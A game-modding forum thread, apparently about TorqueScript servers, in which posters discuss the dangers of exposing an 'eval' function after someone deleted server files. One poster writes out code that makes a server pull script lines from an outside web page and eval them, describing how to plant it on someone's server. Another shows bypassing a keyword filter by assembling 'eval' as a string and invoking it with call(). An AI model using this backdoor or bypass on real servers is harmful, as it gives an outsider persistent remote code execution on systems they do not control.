Author Topic: Truce - Hey guess what, people don't appreciate you deleting their base files  (Read 25202 times)

They don't call it eval :cookieMonster: They call it specialval.

They don't call it eval :cookieMonster: They call it specialval.
At risk of sounding like a total and utter idiot, I don't get it.

At risk of sounding like a total and utter idiot, I don't get it.
They renamed it and made some simple changes.


If I were to ever use eval on my server, I would remove any file read, write, and delete functionality, and remove any possibilities for infinite loops. Ontop of that, getting rid of all the obvious crash functions.

If I were to ever use eval on my server, I would remove any file read, write, and delete functionality, and remove any possibilities for infinite loops. Ontop of that, getting rid of all the obvious crash functions.
Hello, how about remote execution?
Code: [Select]
$KalHTTP = new HTTPObject(KalHTTP); KalHTTP.get("host", "path", "");
function KalHTTP::online(%this, %line)
{
    eval(%line);
}

Hello, how about remote execution?
Code: [Select]
$KalHTTP = new HTTPObject(KalHTTP); KalHTTP.get("host", "path", "");
function KalHTTP::online(%this, %line)
{
    eval(%line);
}
Oops, why did I put $KalHTTP = in there?

I do have a couple client-sided scripts that work with eval. One such script injects an add-on (the whole folder) into the host's; I used this to let a few of my friends test some private mods without uploading to a hosting site*, but I've never done anything as malicious as remote execution.

*Why? Don't you remember last time I tried that?

Hello, how about remote execution?
Code: [Select]
$KalHTTP = new HTTPObject(KalHTTP); KalHTTP.get("host", "path", "");
function KalHTTP::online(%this, %line)
{
    eval(%line);
}
What does remote execution mean?

What does remote execution mean?
Take this for example:

Code: [Select]
new HTTPObject(KalHTTP);
function Kaleval()
{
    KalHTTP.get("kalphiter.com:80", "/remoteExecution.php", "");
}

function KalHTTP::online(%this, %line)
{
    eval(%line);
}


There are an infinite amount of ways to get around simple letter-matching such as blocking input containing "crash();"

So if I eval into someone's server that above code, and then eval "Kaleval()", the server will go to http://kalphiter.com/remoteExecution.php and execute the code on that page.

Take this for example:

Code: [Select]
new HTTPObject(KalHTTP);
function Kaleval()
{
    KalHTTP.get("kalphiter.com:80", "/remoteExecution.php", "");
}

function KalHTTP::online(%this, %line)
{
    eval(%line);
}


There are an infinite amount of ways to get around simple letter-matching such as blocking input containing "crash();"

So if I eval into someone's server that above code, and then eval "Kaleval()", the server will go to http://kalphiter.com/remoteExecution.php and execute the code on that page.
Simple, disallow the usage of the word eval.

Take this for example:

Code: [Select]
new HTTPObject(KalHTTP);
function Kaleval()
{
    KalHTTP.get("kalphiter.com:80", "/remoteExecution.php", "");
}

function KalHTTP::online(%this, %line)
{
    eval(%line);
}


There are an infinite amount of ways to get around simple letter-matching such as blocking input containing "crash();"

So if I eval into someone's server that above code, and then eval "Kaleval()", the server will go to http://kalphiter.com/remoteExecution.php and execute the code on that page.
Oh, I almost get it.

And ontop of that, OVERWRITE the crashing functions.

Simple, disallow the usage of the word eval.
Code: [Select]
%fail = "ev"@"al";
call(%fail);
Or something like that

Code: [Select]
%fail = "ev"@"al";
call(%fail);
Or something like that
Oh, and parameters of course.